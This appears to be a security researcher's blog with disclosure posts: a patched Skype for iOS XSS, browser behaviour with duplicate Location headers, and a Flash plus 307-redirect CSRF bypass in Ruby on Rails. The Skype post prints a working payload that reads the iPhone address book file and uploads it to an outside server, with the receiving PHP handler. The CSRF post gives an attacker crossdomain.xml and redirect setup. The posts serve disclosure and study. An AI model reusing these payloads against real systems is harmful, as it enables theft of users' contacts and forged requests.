Skype XSS Explained

Skype has fixed the security vulnerability I reported in Skype for iOS 3.01 with their 3.5.84 and subsequent 3.5.117 update. Now it's time to tell how it worked. There are several parts to the attack.

The Full Name field injection

This goes into a Skype users "Full Name" field, and will run in Skype for iOS when the message is read. The Full Name field is limited on space, and script tags don't work so I couldn't use <script src=...>. Instead, I used a redirect to pull in the JavaScript payload to run. The regex command "/j.*/" will return everything after the first j in the URL of m.location, which is going to be the URL of the iframe after all redirects. I saved more space by removing all quotes, and changing http:// to http: which is allowed in the version of the WebKit browser built into iOS. When it runs, m.location will look like this:

http://example.com/success.html?javascript:eval(unescape('$PAYLOAD'));open();


The URI Passthrugh with an Apache .htaccess file

RewriteRule ^r$ r.php

This allows the file name to be r instead of r.php, saving 4 characters
The PHP Redirect / Payload

<?php $XSS='x=new/**/XMLHttpRequest;x.open("get","file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb");\ x.overrideMimeType("text/plain; charset=x-user-defined");x.send();\ x.onreadystatechange=function(){if(x.readyState==4){a=x.responseText || ""; ff=[];mx=a.length;scc=String.fromCharCode;\ for(var z=0;z<mx;z++){ff[z]=scc(a.charCodeAt(z)&255);}b=ff.join("");b=btoa(b);\ xp=new/**/XMLHttpRequest,xp.open("post","http://example.com/upload.php",!0);\ xp.setRequestHeader("Content-Type","multipart/form-data;boundary=xxx,");\ a="--xxx\r\nContent-Disposition:form-data;name=\"media\";filename=\"ios.sqlitedb\"\r\nContent-Type:application/octet-stream\r\n\r\n"+b+"\r\n--xxx--";\ xp.send(a);\ }};'; $URL="http://example.com/success.html?javascript:eval(unescape('$XSS'));open();"; header("Location: $URL"); // Redirect Browser exit; ?>

By wrapping the JavaScript code with the unescape function, we remove the encoding that Apache automatically does on the URL during the redirect. The code then uses the XMLHttpRequest API to grab the iPhone AddressBook file. A second XMLHttpRequest is made to send the file back to a file on my server built to retrieve the file.
The File Upload Handler

<?php $default_path = "/srv/www/public_html/"; $filename=$_FILES['media']['name']; $tmpfilename=$_FILES['media']['tmp_name']; $target_path = $default_path .'/'.time()."-".$filename;
if (is_uploaded_file($tmpfilename)){ if ($filePointer = fopen($tmpfilename, "rb")){ $fileData = fread($filePointer, filesize($tmpfilename)); $decodedData = (base64_decode($fileData)); fclose($filePointer); } }
if ($filePointer = fopen($target_path, "wb+")){ // Process the contents of the uploaded file here... fwrite($filePointer,$decodedData); fclose($filePointer); } ?>

Since the file is base64 encoded on the way up, we use the base64_decode function on the way down.

Two Location Headers

 Update! 2/24/2012 I found out that the latest versions of Firefox and Chrome now give error messages instead of preferring the first or second header. This is probably the safest way to handle the situation, since this trick can really only be used for evil }:)

firefox corrupted content

chrome duplicate headers

Where does your browser send you when the HTTP Response contains two location headers?

[code autolinks="false"]HTTP/1.1 302 Found Date: Fri, 04 Mar 2011 20:58:17 GMT Server: Apache Location: http://www.yahoo.com Location: http://www.google.com [/code]

Yahoo or Google
BROWSER REDIRECTION
FIREFOX > 7 ERROR
CHROME ≥ 16 ERROR
CHROME < 16 YAHOO
SAFARI 5.1 YAHOO
INTERNET EXPLORER 6/7/8 YAHOO
OPERA 11.01 YAHOO
OPERA MINI ON IPHONE YAHOO
FIREFOX 3.6.15 TO 6.0 GOOGLE
SAFARI 5.0.3 GOOGLE
MOBILE SAFARI IOS 4.3.5 GOOGLE
MOBILE FIREFOX FOR ANDROID GOOGLE
HP TOUCHPAD (WEBOS) GOOGLE

CSRF: Flash + 307 Redirect = Game Over

 

A vulnerability for Ruby on Rails was recently patched [http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails].
The default CSRF prevention built into RAILS had two components: (1) a custom HTTP Header, and (2) a CSRF token in the post body. This was implemented in a way that only one of these components were required in a request, and not both. Modern browser security makes this fairly secure because JavaScript cannot create custom HTTP Headers and have them sent across domains. However, a researcher from Google found that there is a way to exploit this issue using "certain combinations of browser plugins and HTTP redirects". The new patch for Ruby on Rails forces both of these components to be in the request, preventing exploitation.

A hidden flash file on a website will automate the sending of the following request:

http://www.attacker.com/redirect.php?status=307&url=http://www.victim.com

Flash will allow the site which it is running from to specify POST data and additional headers. But before sending the request, it will check the sites crossdomain.xml file. The attacker will set up their cross domain.xml file as follows.

http://www.attacker.com/crossdomain.xml

---
<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
	<allow-access-from domain="*"/>
	<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
---

The flash file will understand that it now has permission to send additional header information with its request, and will proceed with sending the request with extra headers to

[http://www.attacker.com/redirect.php?status=307&url=http://www.victim.com]

The attacker site will return a 307 redirect. It's like a 302 redirect, but allows the forwarding of POST data too. The flash application will realize that it is going to another web server, and will attempt to retrieve the crossdomain.xml file for www.victim.com. Unfortunately, it appears that it certain circumstances, Flash will IGNORE the crossdomain.xml file for victim.com, and instead rely on the original crossdomain.xml file at www.attacker.com. After a confirmation message that will be unclear to most users, the flash application sends a new request.

------------------------------
POST / HTTP/1.1
Host: www.victim.com
…
X-Header: test=data;
Cookie: abc=123
Content-Length: 9

post=body
------------------------------

We see here that the POST request is being set to www.victim.com, with the additional headers and the POST body. Web server frameworks can no longer rely on the implied security of additional HTTP Request Headers alone to prevent CSRF.

Breakdown of the vulnerability:

Mac - Flash Player 10,2,154,12
	Chrome 9.0.597.94		302 Redirect		GET Request, with headers
	Chrome 9.0.597.94		307 Redirect		Not Sent
	Safari 5.0.3 (6533.19.4)	302 Redirect		GET Request, with headers
	Safari 5.0.3 (6533.19.4)	307 Redirect		POST Request, with headers (No Confirmation)
	FireFox 3.6.10			302 Redirect		GET Request, no headers
	FireFox 3.6.10			307 Redirect		POST Request, with headers
	FireFox 4 beta 8		not vulnerable

Windows XP - Flash Player 10.2.152.26
	FireFox 3.6.10			302 Redirect		GET Request, no headers
	FireFox 3.6.10			307 Redirect		POST Request, with headers
	IE 7				not vulnerable
	IE 8				not vulnerable

Testing the vulnerability yourself:

1. Setup a local HTTP proxy, such as Burp Proxy.
2. Run the attached crossdomain.swf application from your browser (Credit goes to my colleague, Jason for writing this awesome tool)
3. For the URL, use a redirect. I have one set up here: [http://nevr.co.cc/xss.php?status=307&redir_xss=] where status can be tested as 302 or 307, and the site you want to test it against is after the "redir_xss" parameter
4. Test different combinations of requests, and look at the request/responses as they go through your HTTP proxy application.